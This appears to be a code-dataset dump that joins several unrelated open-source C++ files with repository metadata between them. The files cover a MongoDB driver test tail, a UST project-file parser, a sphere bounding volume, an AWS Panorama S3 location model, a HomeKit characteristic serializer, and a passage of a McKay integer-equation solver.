mongoc_read_prefs_set_tags()") { auto expected_tags = make_document(kvp("foo", "bar")); read_prefs_set_tags->interpose([&](mongoc_read_prefs_t*, const bson_t* tags) { called = true; REQUIRE(bson_get_data(tags) == expected_tags.view().data()); }); rp.tags(expected_tags.view()); REQUIRE(called); } SECTION("max_staleness() calls mongoc_read_prefs_set_max_staleness_seconds()") { std::chrono::seconds expected_max_staleness_sec{150}; read_prefs_set_max_staleness_seconds->interpose( [&](mongoc_read_prefs_t*, int64_t max_staleness_sec) { called = true; REQUIRE(std::chrono::seconds{max_staleness_sec} == expected_max_staleness_sec); }); rp.max_staleness(expected_max_staleness_sec); REQUIRE(called); } SECTION("hedge() calls mongoc_read_prefs_set_hedge") { /* No hedge should return a disengaged optional. */ REQUIRE(!rp.hedge()); read_prefs_set_hedge->visit([&](mongoc_read_prefs_t*, const bson_t* doc) { bson_iter_t iter; REQUIRE(bson_iter_init_find(&iter, doc, "hedge")); REQUIRE(bson_iter_as_bool(&iter) == true); called = true; }); rp.hedge(make_document(kvp("hedge", true))); REQUIRE((*rp.hedge())["hedge"].get_bool().value == true); REQUIRE(called); } } } // namespace
33.915789
99
0.665115
oledahle
5915ddf6d41c2605c4db388b4b71653bbff19a8b
18,160
cpp
C++
QSynthesis/Backend/Documents/Files/SequenceTextFile.cpp
SineStriker/QSynthesis-Old
7b96f2d1292a4a57de6e1c50d4df2a57bfe2bc5d
[ "MIT" ]
3
2021-12-08T05:30:52.000Z
2021-12-18T10:46:49.000Z
QSynthesis/Backend/Documents/Files/SequenceTextFile.cpp
QSynthesis/QSynthesis-Old
7b96f2d1292a4a57de6e1c50d4df2a57bfe2bc5d
[ "MIT" ]
null
null
null
QSynthesis/Backend/Documents/Files/SequenceTextFile.cpp
QSynthesis/QSynthesis-Old
7b96f2d1292a4a57de6e1c50d4df2a57bfe2bc5d
[ "MIT" ]
null
null
null
#include "SequenceTextFile.h" #include "SystemApis.h" #include "Variables.h" using namespace Utau; Q_CHARSET_DECLARE(SequenceTextFile) // Project File Reader SequenceTextFile::SequenceTextFile() : BaseFile(Qs::Default) { m_codec = defaultCodec; reset(); } SequenceTextFile::SequenceTextFile(const QString &filename) : BaseFile(Qs::Default) { m_codec = defaultCodec; setFilename(filename); } SequenceTextFile::~SequenceTextFile() { } SequenceTextFile::SequenceTextFile(Qs::VariableSource source) : BaseFile(source) { } bool SequenceTextFile::loadCore(bool *valid) { QFile file(m_filename); QByteArray data; bool isUnicode = false; if (!file.open(QFile::ReadOnly | QIODevice::Text)) { if (*valid) { *valid = true; } return false; } data = file.readAll(); file.close(); // Detect Code QTextCodec *codec = GetUtfCodec(data); QTextStream in(&data); if (codec) { m_codec = codec; } in.setCodec(m_codec); // Read File QStringList currentSection; QString line; QString sectionName; QString sectionHead; QLinkNote curNote; int curLength; bool result = true; bool num = false; bool projectValid = true; bool findVersion, findSetting, findNote; findVersion = findSetting = findNote = false; curLength = 0; try { while (!in.atEnd()) { line = in.readLine(); if (line.isEmpty() && !in.atEnd()) { continue; } // Continue to add until meet the start of section or end if (!line.startsWith(SECTION_BEGIN_MARK) && !in.atEnd()) { currentSection.push_back(line); continue; } // If meet end, append without continue if (!line.isEmpty() && in.atEnd()) { currentSection.push_back(line); } // Previous section is empty if (currentSection.size() <= 1) { } else { sectionHead = currentSection[0]; // If Section Name is invalid if (!parseSectionName(sectionHead, sectionName)) { currentSection.clear(); continue; } // If Section Name is a number num = false; sectionName.toInt(&num); if (num) { // Parse Note findNote = true; curNote.clear(); if (parseSectionNote(currentSection, curNote)) { // curNote.tick = curLength; // Ignore note whose length is invalid if (curNote.length > 0) { m_sectionNotes.push_back(curNote); curLength += curNote.length; // Add to main tick count } } else { projectValid = false; } } else if (sectionName == SECTION_NAME_VERSION) { // Parse Version Sequence findVersion = true; if (!parseSectionVersion(currentSection, m_sectionVersion)) { projectValid = false; } // Not Unicode QString charset = m_sectionVersion.charset; if (!isUnicode) { if (!charset.isEmpty()) { QTextCodec *newCodec = QTextCodec::codecForName(m_sectionVersion.charset.toLatin1()); if (newCodec) { in.setCodec(newCodec); } } else { } } } else if (sectionName == SECTION_NAME_SETTING) { // Parse global settings findSetting = true; if (!parseSectionSettings(currentSection, m_sectionSettings)) { projectValid = false; } } } currentSection.clear(); currentSection.push_back(line); } if (!(findVersion || findSetting || findNote)) { result = false; projectValid = false; } } catch (...) { result = false; projectValid = false; } if (valid) { *valid = projectValid; } return result; } bool SequenceTextFile::saveCore() { QFile file(m_filename); if (!file.open(QFile::WriteOnly | QIODevice::Text)) { return false; } QTextStream out(&file); QString charset = m_sectionVersion.charset; if (!charset.isEmpty()) { m_codec = QTextCodec::codecForName(charset.toLatin1()); // Write UTF-8 } out.setCodec(m_codec); writeSectionVersion(out); // Write Version writeSectionSettings(out); // Write Global Settings // Write Notes for (int i = 0; i < m_sectionNotes.size(); ++i) { writeSectionNote(i, m_sectionNotes.at(i), out); } writeSectionName(SECTION_NAME_TRACKEND, out); // Write End Sign file.close(); return true; } void SequenceTextFile::resetCore() { m_sectionVersion.clear(); m_sectionSettings.clear(); m_sectionNotes.clear(); } SectionVersion SequenceTextFile::sectionVersion() const { return m_sectionVersion; } SectionVersion &SequenceTextFile::sectionVersion() { return m_sectionVersion; } void SequenceTextFile::setSectionVersion(const SectionVersion &value) { m_sectionVersion = value; } QList<QLinkNote> SequenceTextFile::sectionNotes() const { return m_sectionNotes; } QList<QLinkNote> &SequenceTextFile::sectionNotes() { return m_sectionNotes; } void SequenceTextFile::setSectionNotes(const QList<QLinkNote> &value) { m_sectionNotes = value; } void SequenceTextFile::clearSectionNotes() { m_sectionNotes.clear(); } void SequenceTextFile::appendSectionNote(const QLinkNote &oNote) { m_sectionNotes.push_back(oNote); } QLinkNote SequenceTextFile::popSectionNote() { QLinkNote aNote = m_sectionNotes.back(); m_sectionNotes.pop_back(); return aNote; } SectionSettings SequenceTextFile::sectionSettings() const { return m_sectionSettings; } SectionSettings &SequenceTextFile::sectionSettings() { return m_sectionSettings; } void SequenceTextFile::setSectionSettings(const SectionSettings &value) { m_sectionSettings = value; } bool SequenceTextFile::parseSectionName(const QString &oName, QString &oResult) { if (oName.startsWith(SECTION_BEGIN_MARK) && oName.endsWith(SECTION_END_MARK)) { oResult = oName.mid(SECTION_BEGIN_MARK.size(), oName.size() - SECTION_BEGIN_MARK.size() - SECTION_END_MARK.size()); return true; } else { return false; } } bool SequenceTextFile::parseSectionNote(const QStringList &sectionList, QLinkNote &note) { QStringList::size_type i; bool isValid = true; int eq; QString line; QString key, value; int valueInt; double valueDouble; bool isInt, isDouble; PBStrings mode2; QString strEnv; for (i = 0; i < sectionList.size(); ++i) { line = sectionList.at(i); eq = line.indexOf('='); if (eq <= 0) { continue; } key = line.left(eq); value = line.mid(eq + 1); valueInt = value.toInt(&isInt); valueDouble = value.toDouble(&isDouble); if (key == KEY_NAME_LYRIC) { note.lyric = value; // Lyric } else if (key == KEY_NAME_NOTE_NUM) { if (isInt) { note.noteNum = valueInt; // Note Num } } else if (key == KEY_NAME_LENGTH) { if (isInt) { note.length = valueInt; // Length } } else if (key == KEY_NAME_FLAGS) { note.flags = value; // Flags } else if (key == KEY_NAME_INTENSITY) { if (isDouble) { note.intensity = valueDouble; // Volume } } else if (key == KEY_NAME_MODULATION || key == KEY_NAME_MODURATION) { if (isDouble) { note.modulation = valueDouble; // Modulation } } else if (key == KEY_NAME_PRE_UTTERANCE) { if (isDouble) { note.preUttr = valueDouble; // PreUtterence } } else if (key == KEY_NAME_VOICE_OVERLAP) { if (isDouble) { note.overlap = valueDouble; // Voice Overlap } } else if (key == KEY_NAME_VELOCITY) { if (isDouble) { note.velocity = valueDouble; // Consonant Velocity } } else if (key == KEY_NAME_START_POINT) { if (isDouble) { note.stp = valueDouble; // StartPoint } } else if (key == KEY_NAME_TEMPO) { if (isDouble) { note.tempo = valueDouble; // Tempo } } else if (key == KEY_NAME_REGION_START) { note.region = value; // Start of region } else if (key == KEY_NAME_REGION_END) { note.regionEnd = value; // End of region } else if (key == KEY_NAME_PB_START) { if (isDouble) { note.pbstart = valueDouble; // Mode1 Start } } else if (key == KEY_NAME_PBS) { mode2.PBS = value; // Mode2 Start } else if (key == KEY_NAME_PBW) { mode2.PBW = value; // Mode2 Intervals } else if (key == KEY_NAME_PBY) { mode2.PBY = value; // Mode2 Offsets } else if (key == KEY_NAME_PBM) { mode2.PBM = value; // Mode2 Types } else if (key == KEY_NAME_PB_START) { if (isDouble) { note.pbstart = valueDouble; // Mode1 Start } } else if (key == KEY_NAME_PICHES || key == KEY_NAME_PITCHES || key == KEY_NAME_PITCH_BEND) { note.pitches = StringsToDoubles(value.split(COMMA)); // Mode1 Pitch } else if (key == KEY_NAME_VBR) { note.vibrato = StringsToDoubles(value.split(COMMA)); // Vibrato } else if (key == KEY_NAME_ENVELOPE) { strEnv = value; // Envelope } else if (!key.startsWith('@')) { note.customData.append(qMakePair(key, value)); // Custom Values } } note.Mode2Pitch = StringToPortamento(mode2); // Mode2 Pitch note.envelope = StringToEnvelope(strEnv); return isValid; } bool SequenceTextFile::parseSectionVersion(const QStringList &sectionList, SectionVersion &version) { int i; bool flag = false; int eq; QString line; QString key, value; for (i = 0; i < sectionList.size(); ++i) { line = sectionList.at(i); eq = line.indexOf('='); if (eq >= 0) { key = line.left(eq); value = line.mid(eq + 1); if (key == KEY_NAME_CHARSET) { m_sectionVersion.charset = value; } continue; } if (line.indexOf(UST_VERSION_PREFIX_NOSPACE) == 0) { version.version = line.mid(UST_VERSION_PREFIX_NOSPACE.size()).simplified(); flag = true; } } return flag; } bool SequenceTextFile::parseSectionSettings(const QStringList &sectionList, SectionSettings &settings) { QStringList::size_type i; bool isValid = true; int eq; QString key, value; double num; bool isNum; for (i = 0; i < sectionList.size(); ++i) { eq = sectionList[i].indexOf("="); if (eq <= 0) { continue; } key = sectionList[i].left(eq); value = sectionList[i].mid(eq + 1); if (key == KEY_NAME_PROJECT_NAME) { settings.projectName = value; // Project Name } else if (key == KEY_NAME_OUTPUT_FILE) { settings.outputFileName = value; // Output File Name } else if (key == KEY_NAME_VOICE_DIR) { settings.voiceDirectory = fromUSTVoiceDir(value, AppPath); // Voice Directory } else if (key == KEY_NAME_CACHE_DIR) { settings.cacheDirectory = value; // Cache Directory } else if (key == KEY_NAME_TOOL1) { settings.wavtoolPath = fromUSTToolsDir(value, AppPath); // Wavtool } else if (key == KEY_NAME_TOOL2) { settings.resamplerPath = fromUSTToolsDir(value, AppPath); // Resampler } else if (key == KEY_NAME_MODE2) { if (value != "True") { isValid = false; } settings.isMode2 = true; // Mode2 } else if (key == KEY_NAME_TEMPO) { num = value.toDouble(&isNum); if (!isNum) { isValid = false; } else { settings.globalTempo = num; // Global Tempo } } else if (key == KEY_NAME_FLAGS) { settings.globalFlags = value; // Flags } } return isValid; } void SequenceTextFile::writeSectionName(const int &name, QTextStream &out) { QString newName = QString::number(name); int nums = newName.size(); for (int i = 0; i < 4 - nums; ++i) { newName.prepend("0"); } writeSectionName(newName, out); } void SequenceTextFile::writeSectionName(const QString &name, QTextStream &out) { out << SECTION_BEGIN_MARK + name + SECTION_END_MARK << Qt::endl; } void SequenceTextFile::writeSectionNote(int num, const QLinkNote &note, QTextStream &out) { writeSectionName(num, out); // Items maybe not exist QString aVibrato = DoublesToStrings(note.vibrato).join(COMMA); QString aPitchBend = DoublesToStrings(note.pitches).join(COMMA); // Complex items PBStrings mode2; QString strEnvelope; mode2 = PortamentoToString(note.Mode2Pitch); strEnvelope = EnvelopeToString(note.envelope); // Items always exists out << KEY_NAME_LENGTH << "=" << note.length << Qt::endl; out << KEY_NAME_LYRIC << "=" << note.lyric << Qt::endl; out << KEY_NAME_NOTE_NUM << "=" << note.noteNum << Qt::endl; // Items can be omitted if (note.preUttr != NODEF_DOUBLE) { out << KEY_NAME_PRE_UTTERANCE << "=" << note.preUttr << Qt::endl; } if (note.overlap != NODEF_DOUBLE) { out << KEY_NAME_VOICE_OVERLAP << "=" << note.overlap << Qt::endl; } if (note.velocity != NODEF_DOUBLE) { out << KEY_NAME_VELOCITY << "=" << QString::number(note.velocity) << Qt::endl; } if (note.intensity != NODEF_DOUBLE) { out << KEY_NAME_INTENSITY << "=" << note.intensity << Qt::endl; } if (note.modulation != NODEF_DOUBLE) { out << KEY_NAME_MODULATION << "=" << note.modulation << Qt::endl; } if (note.stp != NODEF_DOUBLE) { out << KEY_NAME_START_POINT << "=" << note.stp << Qt::endl; } if (!note.flags.isEmpty()) { out << KEY_NAME_FLAGS << "=" << note.flags << Qt::endl; } // Items may not exist if (!note.pitches.isEmpty()) { out << KEY_NAME_PB_TYPE << "=" << VALUE_PITCH_TYPE << Qt::endl; out << KEY_NAME_PB_START << "=" << note.pbstart << Qt::endl; out << KEY_NAME_PITCH_BEND << "=" << aPitchBend << Qt::endl; } if (!note.Mode2Pitch.isEmpty()) { out << KEY_NAME_PBS << "=" << mode2.PBS << Qt::endl; out << KEY_NAME_PBW << "=" << mode2.PBW << Qt::endl; if (!mode2.PBY.isEmpty()) { out << KEY_NAME_PBY << "=" << mode2.PBY << Qt::endl; } if (!mode2.PBS.isEmpty()) { out << KEY_NAME_PBM << "=" << mode2.PBM << Qt::endl; } } if (!note.envelope.isEmpty()) { out << KEY_NAME_ENVELOPE << "=" << strEnvelope << Qt::endl; } if (!note.vibrato.isEmpty()) { out << KEY_NAME_VBR << "=" << aVibrato << Qt::endl; } if (note.tempo != NODEF_DOUBLE) { out << KEY_NAME_TEMPO << "=" << note.tempo << Qt::endl; } if (note.region != NODEF_STRING) { out << KEY_NAME_REGION_START << "=" << note.region << Qt::endl; } if (note.regionEnd != NODEF_STRING) { out << KEY_NAME_REGION_END << "=" << note.regionEnd << Qt::endl; } // Custom Values for (int i = 0; i < note.customData.size(); ++i) { out << note.customData[i].first << "=" << note.customData[i].second << Qt::endl; } } void SequenceTextFile::writeSectionVersion(QTextStream &out) { writeSectionName(SECTION_NAME_VERSION, out); out << UST_VERSION_PREFIX_NOSPACE << m_sectionVersion.version << Qt::endl; // UTF-8 UST File? QString charset = m_sectionVersion.charset; if (!charset.isEmpty()) { out << KEY_NAME_CHARSET << "=" << charset << Qt::endl; } } void SequenceTextFile::writeSectionSettings(QTextStream &oStream) { writeSectionName(SECTION_NAME_SETTING, oStream); oStream << KEY_NAME_TEMPO << "=" << m_sectionSettings.globalTempo << Qt::endl; oStream << KEY_NAME_TRACKS << "=" << VALUE_TRACKS_SINGLE << Qt::endl; oStream << KEY_NAME_PROJECT_NAME << "=" << m_sectionSettings.projectName << Qt::endl; oStream << KEY_NAME_VOICE_DIR << "=" << toUSTVoiceDir(m_sectionSettings.voiceDirectory, AppPath) << Qt::endl; oStream << KEY_NAME_OUTPUT_FILE << "=" << m_sectionSettings.outputFileName << Qt::endl; oStream << KEY_NAME_CACHE_DIR << "=" << m_sectionSettings.cacheDirectory << Qt::endl; oStream << KEY_NAME_TOOL1 << "=" << toUSTToolsDir(m_sectionSettings.wavtoolPath, AppPath) << Qt::endl; oStream << KEY_NAME_TOOL2 << "=" << toUSTToolsDir(m_sectionSettings.resamplerPath, AppPath) << Qt::endl; if (m_sectionSettings.isMode2) { oStream << KEY_NAME_MODE2 << "=" << VALUE_MODE2_ON << Qt::endl; } if (!m_sectionSettings.globalFlags.isEmpty()) { oStream << KEY_NAME_FLAGS << "=" << m_sectionSettings.globalFlags << Qt::endl; } }
31.803853
100
0.557269
SineStriker
5916c71730ec6505ee9163d078c6fd5c46b5a047
2,893
cpp
C++
Wml/Source/Graphics/WmlSphereBV.cpp
1iyiwei/deform2d
1a350dd20f153e72de1ea9cffb873eb67bf3d668
[ "MIT" ]
26
2018-07-04T15:31:11.000Z
2021-09-23T02:43:46.000Z
Wml/Source/Graphics/WmlSphereBV.cpp
1iyiwei/deform2d
1a350dd20f153e72de1ea9cffb873eb67bf3d668
[ "MIT" ]
null
null
null
Wml/Source/Graphics/WmlSphereBV.cpp
1iyiwei/deform2d
1a350dd20f153e72de1ea9cffb873eb67bf3d668
[ "MIT" ]
1
2019-06-11T03:20:28.000Z
2019-06-11T03:20:28.000Z
// Magic Software, Inc. // http://www.magic-software.com // http://www.wild-magic.com // Copyright (c) 2004. All Rights Reserved // // The Wild Magic Library (WML) source code is supplied under the terms of // the license agreement http://www.magic-software.com/License/WildMagic.pdf // and may not be copied or disclosed except in accordance with the terms of // that agreement. #include "WmlApprLineFit3.h" #include "WmlContSphere3.h" #include "WmlIntrSph3Sph3.h" #include "WmlMatrix3.h" #include "WmlSphereBV.h" using namespace Wml; WmlImplementBV(SphereBV,BV_SPHERE); //---------------------------------------------------------------------------- void SphereBV::CopyTo (BoundingVolume* pkTargetBV) const { assert( GetType() == pkTargetBV->GetType() ); ((SphereBV*)pkTargetBV)->m_kSphere = m_kSphere; } //---------------------------------------------------------------------------- void SphereBV::TransformTo (BoundingVolume* pkTargetBV, const Matrix3f& rkRot, const Vector3f& rkTrn, float fScale) const { assert( GetType() == pkTargetBV->GetType() ); Sphere3f& rkTarget = ((SphereBV*)pkTargetBV)->m_kSphere; rkTarget.Center() = fScale*(rkRot*m_kSphere.Center()) + rkTrn; rkTarget.Radius() = fScale*m_kSphere.Radius(); } //---------------------------------------------------------------------------- bool SphereBV::Contains (const Vector3f& rkPoint, float fEpsilon) const { return InSphere(rkPoint,m_kSphere,fEpsilon); } //---------------------------------------------------------------------------- bool SphereBV::TestIntersection (const BoundingVolume* pkBV) const { assert( GetType() == pkBV->GetType() ); return Wml::TestIntersection(m_kSphere,((SphereBV*)pkBV)->m_kSphere); } //---------------------------------------------------------------------------- BoundingVolume* SphereBV::Create () { return new SphereBV; } //---------------------------------------------------------------------------- BoundingVolume* SphereBV::Create (int iVertexCount, const Vector3f* akVertex, const int* aiConnect, int i0, int i1, int* aiISplit, Vector3f& rkOrigin, Vector3f& rkDirection) { // tag vertices that are used in the submesh bool* abValid = new bool[iVertexCount]; memset(abValid,0,iVertexCount*sizeof(bool)); for (int i = i0; i <= i1; i++) { int iIndex = 3*aiISplit[i]; abValid[aiConnect[iIndex++]] = true; abValid[aiConnect[iIndex++]] = true; abValid[aiConnect[iIndex++]] = true; } SphereBV* pkSphereBV = new SphereBV; ContSphereAverage(iVertexCount,akVertex,abValid,pkSphereBV->m_kSphere); OrthogonalLineFit(iVertexCount,akVertex,abValid,rkOrigin,rkDirection); delete[] abValid; return pkSphereBV; } //----------------------------------------------------------------------------
37.571429
79
0.554787
1iyiwei
5916f8c135d1f5ba107dfaf312a83325712c5551
1,535
cpp
C++
aws-cpp-sdk-panorama/source/model/S3Location.cpp
irods/aws-sdk-cpp
ea5a4d61a26c1eac41443fb9829e969ebac6e09b
[ "Apache-2.0" ]
1
2022-01-05T18:20:03.000Z
2022-01-05T18:20:03.000Z
aws-cpp-sdk-panorama/source/model/S3Location.cpp
irods/aws-sdk-cpp
ea5a4d61a26c1eac41443fb9829e969ebac6e09b
[ "Apache-2.0" ]
null
null
null
aws-cpp-sdk-panorama/source/model/S3Location.cpp
irods/aws-sdk-cpp
ea5a4d61a26c1eac41443fb9829e969ebac6e09b
[ "Apache-2.0" ]
1
2021-11-09T11:58:03.000Z
2021-11-09T11:58:03.000Z
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/panorama/model/S3Location.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::Utils::Json; using namespace Aws::Utils; namespace Aws { namespace Panorama { namespace Model { S3Location::S3Location() : m_bucketNameHasBeenSet(false), m_objectKeyHasBeenSet(false), m_regionHasBeenSet(false) { } S3Location::S3Location(JsonView jsonValue) : m_bucketNameHasBeenSet(false), m_objectKeyHasBeenSet(false), m_regionHasBeenSet(false) { *this = jsonValue; } S3Location& S3Location::operator =(JsonView jsonValue) { if(jsonValue.ValueExists("BucketName")) { m_bucketName = jsonValue.GetString("BucketName"); m_bucketNameHasBeenSet = true; } if(jsonValue.ValueExists("ObjectKey")) { m_objectKey = jsonValue.GetString("ObjectKey"); m_objectKeyHasBeenSet = true; } if(jsonValue.ValueExists("Region")) { m_region = jsonValue.GetString("Region"); m_regionHasBeenSet = true; } return *this; } JsonValue S3Location::Jsonize() const { JsonValue payload; if(m_bucketNameHasBeenSet) { payload.WithString("BucketName", m_bucketName); } if(m_objectKeyHasBeenSet) { payload.WithString("ObjectKey", m_objectKey); } if(m_regionHasBeenSet) { payload.WithString("Region", m_region); } return payload; } } // namespace Model } // namespace Panorama } // namespace Aws
17.055556
69
0.708143
irods
5917564f6f820e30d8adb2b1baeff950fd4f1057
496
cpp
C++
components/rollkit/src/chracteristic.cpp
NeilBetham/rollk
e82026397c892b5f0d3b53891d5efa51d941fd9d
[ "MIT" ]
4
2018-06-12T21:48:01.000Z
2021-04-01T15:18:50.000Z
components/rollkit/src/chracteristic.cpp
NeilBetham/rollk
e82026397c892b5f0d3b53891d5efa51d941fd9d
[ "MIT" ]
null
null
null
components/rollkit/src/chracteristic.cpp
NeilBetham/rollk
e82026397c892b5f0d3b53891d5efa51d941fd9d
[ "MIT" ]
1
2018-08-18T13:05:31.000Z
2018-08-18T13:05:31.000Z
#include "rollkit/characteristic.hpp" #include <algorithm> #include "rollkit/utils.hpp" using namespace std; namespace rollkit { nlohmann::json Characteristic::serialize() const { nlohmann::json ret; bool is_readable = find(_perms.begin(), _perms.end(), "pr") != _perms.end(); ret["type"] = _hap_type; ret["iid"] = _instance_id; ret["perms"] = _perms; ret["format"] = _format; if(is_readable) { ret["value"] = handle_read(); } return ret; } } // namespace rollkit
17.103448
78
0.66129
NeilBetham
591b215502ae32dc5fcc9b5d7eb6f95ae377a5e5
28,005
cpp
C++
src/lib/foundations/solvers/mckay.cpp
abetten/orbiter
5994d0868a26c37676d6aadfc66a1f1bcb715c4b
[ "RSA-MD" ]
15
2016-10-27T15:18:28.000Z
2022-02-09T11:13:07.000Z
src/lib/foundations/solvers/mckay.cpp
abetten/orbiter
5994d0868a26c37676d6aadfc66a1f1bcb715c4b
[ "RSA-MD" ]
4
2019-12-09T11:49:11.000Z
2020-07-30T17:34:45.000Z
src/lib/foundations/solvers/mckay.cpp
abetten/orbiter
5994d0868a26c37676d6aadfc66a1f1bcb715c4b
[ "RSA-MD" ]
15
2016-06-10T20:05:30.000Z
2020-12-18T04:59:19.000Z
// mckay.cpp // // solver due to Brendan McKay // C++ translation by Volker Widor 2003 // adapted by Anton Betten // 1/16/2009 #include "foundations.h" using namespace std; namespace orbiter { namespace foundations { mckay::tMCKAY::tMCKAY() { nb_calls_to_solve = 0; first_moved = 0; second_moved = 0; problem_label = NULL; _eqnanz = 0; _varanz = 0; //vector<bool> unitcoeffs; //vector<bool> active; rekurs = 0; _break = false; D = NULL; //tLGS *_lgs; #ifdef MCKAY_DEBUG //vector<int> range, split, branch; ticks0 = 0; #endif }; void mckay::tMCKAY::Init(diophant *lgs, const char *label, int aEqnAnz, int aVarAnz) { os_interface Os; _varanz=aVarAnz; _eqnanz=aEqnAnz; nb_calls_to_solve = 0; D = lgs; //_lgs = aLgs; rekurs=0; unitcoeffs.resize(_eqnanz); active.resize(_eqnanz); problem_label = label; #ifdef MCKAY_DEBUG int m; m = MAXIMUM(_eqnanz, _varanz) + 1; range.resize(m); split.resize(m); branch.resize(m); ticks0 = Os.os_ticks(); #endif } void mckay::tMCKAY::possolve(vector<int> &lo, vector<int> &hi, vector<equation> &eqn, vector<int> &lorhs, vector<int> &hirhs, vector<int> &neqn, int numeqn, int numvar, int verbose_level) { int f_v = (verbose_level >= 1); int f_v4 = (verbose_level >= 4); int i,j; bool hopeless; if (f_v) { cout << "possolve" << endl; } nb_calls_to_solve = 0; first_moved = INT_MAX; second_moved = INT_MAX; if (numeqn > _eqnanz || numvar > _varanz) { cerr<<"*** >E intsolve: limits exceeded\n"; throw this; } /* First step: If for one equation there is no coefficient different from zero, this equation is \"not" active. Further mark in \|unitcoeffs| the equations with coefficients solely $\in\{0,1\}$. */ hopeless = false; for (i = 0; i < numeqn; ++i) { if (neqn[i] == 0) { active[i] = false; if (lorhs[i] > 0 || hirhs[i] < 0) hopeless = true; } else { active[i] = true; } for (j = neqn[i]; --j >= 0;) if (eqn[i][j].coeff != 1) break; unitcoeffs[i] = (j < 0); } /* More output. */ if (f_v4) { puteqns(lo,hi,numvar,lorhs,hirhs,eqn,neqn,numeqn); } /* Finally the recursion starts. */ if (!hopeless) _break = false; if (f_v) { cout << "mckay::tMCKAY::possolve: calling solve" << endl; } solve(0,lo,hi,active,numvar,lorhs,hirhs,eqn,neqn,numeqn, verbose_level); if (f_v) { cout << "mckay::tMCKAY::possolve done" << endl; } return; } /* \subsection{subtract} subtract equation e1 from e2 if possible --- return success. It is used in function \|pruneqn|. */ bool mckay::tMCKAY::subtract( int eqn1, equation &e1, int l1, int lors1, int hirs1, int eqn2, equation &e2, int *pl2, int *plors2, int *phirs2, int verbose_level) { int f_v = (verbose_level >= 1); int i,j,k; term e1i; int l2,factor,minfactor; /* First test if subtraction is possible. */ minfactor = 999999; l2 = *pl2; if (l1 > l2 || hirs1 > lors1) return false; /* Second test if subtraction is possible. */ j = 0; for (i = 0; i < l1; ++i) { e1i = e1[i]; for (; j < l2 && e2[j].var != e1i.var; ++j) {} if (j == l2 || e2[j].coeff < e1i.coeff) return false; factor = e2[j].coeff / e1i.coeff; if (factor < minfactor) minfactor = factor; } /* Do subtraction */ k = 0; for (i = j = 0; i < l1; ++i, ++j) { e1i = e1[i]; for (; j < l2 && e2[j].var != e1i.var; ++j) e2[k++] = e2[j]; if (j < l2 && e2[j].coeff > minfactor*e1i.coeff) { e2[k].var = e2[j].var; e2[k].coeff = e2[j].coeff - minfactor*e1i.coeff; ++k; } } for (; j < l2; ++j) e2[k++] = e2[j]; *pl2 = k; *plors2 -= minfactor*lors1; *phirs2 -= minfactor*hirs1; /* end of subtraction. */ if (f_v) { cout << "subtract: subtracted equation " << eqn1 << " from equation " << eqn2 << endl; } return true; } /* \subsection{pruneqn --- remove equations} prune equations by subtraction. */ void mckay::tMCKAY::pruneqn(vector<int> &lo, vector<int> &hi, int numvar, vector<int> &lorhs, vector<int> &hirhs, vector<equation> &eqn, vector<int> &neqn, int numeqn, int verbose_level) { int f_v = (verbose_level >= 1); bool ok; vector<bool> done; done.resize(_eqnanz); int i,j; /* \|done| is always \|false|. Why? */ for (i = 0; i < numeqn; ++i) { done[i] = false; } do { ok = true; for (i = 0; i < numeqn; ++i) { if (!done[i] && neqn[i] > 0) { for (j = 0; j < numeqn; ++j) { if (i != j && subtract(i, eqn[i],neqn[i], lorhs[i],hirhs[i],j, eqn[j], &neqn[j],&lorhs[j],&hirhs[j], verbose_level)) { if (f_v) { cout << "mckay::tMCKAY::pruneqn after subtract:" << endl; puteqns(lo, hi, numvar, lorhs, hirhs, eqn, neqn, numeqn); } ok = false; done[j] = false; } // if } // for } // if } // for } while (!ok); return; } /* \subsection{varprune --- remove variables} Try to remove free variables by testing if variables are already fixed. This is the case if the lower bound on a variable is equal to its upper bound. */ void mckay::tMCKAY::varprune(vector<int> &lo, vector<int> &hi, vector<int> &lorhs, vector<int> &hirhs, vector<equation> &eqn, vector<int> &neqn, int numeqn, int verbose_level) { int f_v = (verbose_level >= 1); int i,j,sum,len; for (j = 0; j < numeqn; ++j) { len = neqn[j]; sum = 0; // simple test whether the lower bound // of a variable meets its upper bound: for (i = 0; i < len;) { if (lo[eqn[j][i].var] == hi[eqn[j][i].var]) { sum += eqn[j][i].coeff*lo[eqn[j][i].var]; if (f_v && sum) { cout << "varprune: equation " << j << " variable " << eqn[j][i].var << " is not free any more, " "sum += " << eqn[j][i].coeff * lo[eqn[j][i].var] << endl; } eqn[j][i] = eqn[j][--len]; } else { ++i; } } lorhs[j] -= sum; hirhs[j] -= sum; if (f_v && sum) { cout << "varprune: equation " << j << " reducing RHS by " << sum << " to lorhs[j]=" << lorhs[j] << " hirhs[j]=" << hirhs[j] << endl; } neqn[j] = len; } } void mckay::tMCKAY::puteqns(vector<int> &lo, vector<int> &hi, int numvar, vector<int> &lorhs, vector<int> &hirhs, vector<equation> &eqn, vector<int> &neqn, int numeqn) { int i,j; // First the lower and upper bounds on the variable are written: cout << "CON" << endl; for (i = 0; i < numvar; ++i) { if (i > 0) cout << "," << endl; if (lo[i] > 0) cout << "x" << i << " >= " << lo[i] << ", "; cout << "x" << i << " <= " << hi[i]; } // print the equations: for (i = 0; i < numeqn; ++i) { cout << "," << endl; cout << "Equation " << i << " : "; for (j = 0; j < neqn[i]; ++j) { if (j % 16 == 15) cout << endl << " "; cout << (j == 0 ? "" : "+") << eqn[i][j].coeff << "*x" << eqn[i][j].var; } cout << (lorhs[i] < hirhs[i] ? " >= " : " = ") << lorhs[i]; if (lorhs[i] == hirhs[i]) continue; // inequalities: cout << "," << endl; for (j = 0; j < neqn[i]; ++j) { if (j % 16 == 15) cout << endl << " "; cout << (j == 0 ? "" : "+") << eqn[i][j].coeff << "*x" << eqn[i][j].var; } cout << " <= " << hirhs[i]; } cout << ";" << endl; } /* \subsection{divideeqns} take out common factors, return bad eqn number. It is only used in the main program. */ int mckay::tMCKAY::divideeqns(vector<int> &lorhs, vector<int> &hirhs, vector<equation> &eqn, vector<int> &neqn, int numeqn) { int i,j,g,len; for (j = 0; j < numeqn; ++j) { len = neqn[j]; if (len == 0) continue; g = eqn[j][0].coeff; i = 1; for (i = 1; i < len && g > 1; ++i) g = gcd(g,eqn[j][i].coeff); /* $g = \gcd$ of all coefficients of the left hand side of equation $i$. If $g=1$ step to the next equation. */ if (g == 1) continue; for (i = 0; i < len; ++i) eqn[j][i].coeff /= g; lorhs[j] = lorhs[j] < 0 ? 0 : (lorhs[j] 